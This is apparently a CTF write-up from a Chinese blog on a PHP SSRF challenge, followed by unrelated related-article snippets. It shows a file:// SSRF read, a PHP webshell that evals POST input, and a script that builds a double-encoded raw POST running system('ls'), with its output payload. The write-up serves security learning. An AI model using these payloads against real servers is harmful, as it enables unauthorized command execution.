题目链接:

http://oj.momomoxiaoxi.com:9090/

用dirsearch对网址进行扫描,发现robots.txt

命令行:

python3 dirsearch.py -u "http://oj.momomoxiaoxi.com:9090/" -e *

于是输入网址打开这个文件:

http://oj.momomoxiaoxi.com:9090/robots.txt

得到以下页面:

发现了隐藏的页面,输入以下网址得到源代码:

http://oj.momomoxiaoxi.com:9090/index.php?url=file:///var/www/html/webshe11111111.php

将代码复制下来在本地新建一个PHP文件:

 <?php

 $serverList = array(
"127.0.0.1"
);
$ip = $_SERVER['REMOTE_ADDR'];
foreach ($serverList as $host) {
if ($ip === $host) {
if ((!empty($_POST['admin'])) and $_POST['admin'] === 'h1admin') {
@eval($_POST['hacker']);
} else {
die("You aren't admin!");
}
} else {
die('This is webshell');
}
}

将其运行,得到如下页面:

按F12后点击HackBar插件,将进行如下修改:

即在本地搭建了一个环境,满足了源码中的host,然后发送POST请求,进行抓包,得到如下界面:

将其POST内容进行修改后写进脚本中:

 exp='''\
POST /webshe11111111.php HTTP/1.1
Host:127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://localhost:63342/php/webshe11111111.php
Content-Type: application/x-www-form-urlencoded
Content-Length: 34
Cookie: Phpstorm-c2b818=be05b847-c935-441b-bdb7-465508c336b0
Connection: close
Upgrade-Insecure-Requests: 1 admin=h1admin&hacker=system('ls');
'''
import urllib
tmp = urllib.quote(exp)
new = tmp.replace("%0A","%0D%0A")
result = "_"+urllib.quote(new)
print result

运行后得到字符串:

_POST%2520/webshe11111111.php%2520HTTP/1.1%250D%250AHost%253A127.0.0.1%250D%250AUser-Agent%253A%2520Mozilla/5.0%2520%2528Windows%2520NT%252010.0%253B%2520Win64%253B%2520x64%253B%2520rv%253A61.0%2529%2520Gecko/20100101%2520Firefox/61.0%250D%250AAccept%253A%2520text/html%252Capplication/xhtml%252Bxml%252Capplication/xml%253Bq%253D0.9%252C%252A/%252A%253Bq%253D0.8%250D%250AAccept-Language%253A%2520zh-CN%252Czh%253Bq%253D0.8%252Czh-TW%253Bq%253D0.7%252Czh-HK%253Bq%253D0.5%252Cen-US%253Bq%253D0.3%252Cen%253Bq%253D0.2%250D%250AAccept-Encoding%253A%2520gzip%252C%2520deflate%250D%250AReferer%253A%2520http%253A//localhost%253A63342/php/webshe11111111.php%250D%250AContent-Type%253A%2520application/x-www-form-urlencoded%250D%250AContent-Length%253A%252034%250D%250ACookie%253A%2520Phpstorm-c2b818%253Dbe05b847-c935-441b-bdb7-465508c336b0%250D%250AConnection%253A%2520close%250D%250AUpgrade-Insecure-Requests%253A%25201%250D%250A%250D%250Aadmin%253Dh1admin%2526hacker%253Dsystem%2528%2527ls%2527%2529%253B%250D%250A

复制到链接中得到存放flag的页面:

用得到webshell的方式则可得到fl11111aaaaaggggg.php的页面:

点开之后是一片空白,先想到查看源代码,得到flag:

Flag{Th1s_Easy_SSRF}

记一次简单的PHP代码审计(SSRF案例)的更多相关文章

  1. AngularJs最简单解决跨域问题案例

    AngularJs最简单解决跨域问题案例 2016-05-20 09:18 82人阅读 评论(0) 收藏 举报  分类: javascript(1)  作者:白狼 出处:http://www.mank ...

  2. 简单之美 | ZooKeeper应用案例

    简单之美 | ZooKeeper应用案例 ZooKeeper应用案例

  3. Java实现一个简单的文件上传案例

    Java实现一个简单的文件上传案例 实现流程: 1.客户端从硬盘读取文件数据到程序中 2.客户端输出流,写出文件到服务端 3.服务端输出流,读取文件数据到服务端中 4.输出流,写出文件数据到服务器硬盘 ...

  4. 简单的java代码审计

    描述 很简单的代码审计 java安全--Fastjson反序列化 java安全--SQL注入 Fastjson 反序列化 首先看一下配置文件,对于Maven项目,我们首先从pom.xml文件开始审计引 ...

  5. ASP.NET CORE 边学边记之 SwaggerUI简单配置

    前言 当使用 ASP.NET CORE 开发WebApi程序时候,一般使用SwaggerUI生成接口文档.本文记录最简单的一个配置.(生成的文档无注释) 操作 首先安装Nuget包. 然后在Start ...

  6. 记一次简单的UITableView卡顿优化

    先说需求,要做一个类似这种的列表 标签控件直接用的第三方 YZTagList 不知道的可以去搜一下,当这不重要. 重要的是这个控件加载数据的时候非常影响列表滑动效果,造成卡顿,尤其是列表行数如果更多的 ...

  7. 记一次简单的Oracle离线数据迁移至TiDB过程

    背景 最近在支持一个从Oracle转TiDB的项目,为方便应用端兼容性测试需要把Oracle测试环境的库表结构和数据同步到TiDB中,由于数据量并不大,所以怎么方便怎么来,这里使用CSV导出导入的方式 ...

  8. 记一次简单的SQL优化

    原来的sql是这样写的 SELECT d.ONSALE_BARCODE, d.ONSALE_NAME, c.ONSALE_ID, CAST( , ) ) AS CUSTOMARY_PRICE, CAS ...

  9. 记一次简单的GetShell案例

    案例链接: http://202.112.51.184:8007/ 打开链接,发现分了多个页面: 挨个点击,大概清楚是上传指定格式的文件然后在搜索的时候使文件执行从而GetShell,观察发现点击每个 ...

随机推荐

  1. MessageDigest类

    public abstract class MessageDigest extends MessageDigestSpi API中的中英文对照简介(未完) java.security.MessageD ...

  2. [转帖]deb包转化为rpm包

    deb包转化为rpm包 https://www.cnblogs.com/noxy/p/6371399.html 改天尝试一下之前经常遇到能下载deb包 下载不到rpm包的情况. deb文件格式本是ub ...

  3. 360大牛:全面解读PHP面试

    让大家了解基本面试流程和面试的核心要求以及意义是什么并理解PHP面试考点主要以基础为核心,说明PHP面试考察范围. 有需要联系:QQ:1844912514

  4. 如何在django视图中使用asyncio(协程)和ThreadPoolExecutor(多线程)

    Django视图函数执行,不在主线程中,直接 loop = asyncio.new_event_loop() # 更不能loop = asyncio.get_event_loop() 会触发 Runt ...

  5. spring事物与传播行为

    一.事物的概念 事务指逻辑上的一组操作,组成这组操作的各个单元,要不全部成功,要不全部不成功. 作用:事物就是保证数据的一致性 事物的特性:事务必须服从ISO/IEC所制定的ACID原则.ACID是原 ...

  6. c提高第四课

    1.一维数组的初始化 , , }; //3个元素 ] = { , , }; //a[3], a[4]自动初始化为0 ] = { }; //全部元素初始化为0 memset(c, , sizeof(c) ...

  7. PL2303HX在Windows 10下面不装安装驱动的解决办法(Code:10)

    Prolific在很早之前推出了一款名为PL2303HX的芯片, 用于USB转RS232, 这款芯片使用的范围非常广, 并且年代久远. 但是这款芯片因为用的特别多, 所以中国就有很多厂家生产了仿造的P ...

  8. linux makefile中一些复制运算的区别

    Makefile 中  :=. ?= .+= .=的区别 = 是最基本的赋值:= 是覆盖之前的值?= 是如果没有被赋值过就赋予等号后面的值,如果已经被赋值则就用之前的赋值+= 是添加等号后面的值

  9. sourceinsight问题

    1.添加.cc文件 Options-〉“Document   Options”-〉在“File   filter”   裡邊加上*.cc Project--->Add and Remove Pr ...

  10. 怎么添加在安装好的nvidia-docker上面根据Dockerfile构建自己所需要的运行环境

    在已经创建好nvidia-docker环境之后,对于新手小白来说,又有一个问题了,就是如何根据Dockerfile来构建试验所需要的docker环境 主要是以下几个步骤 首先创建一个mydocker文 ...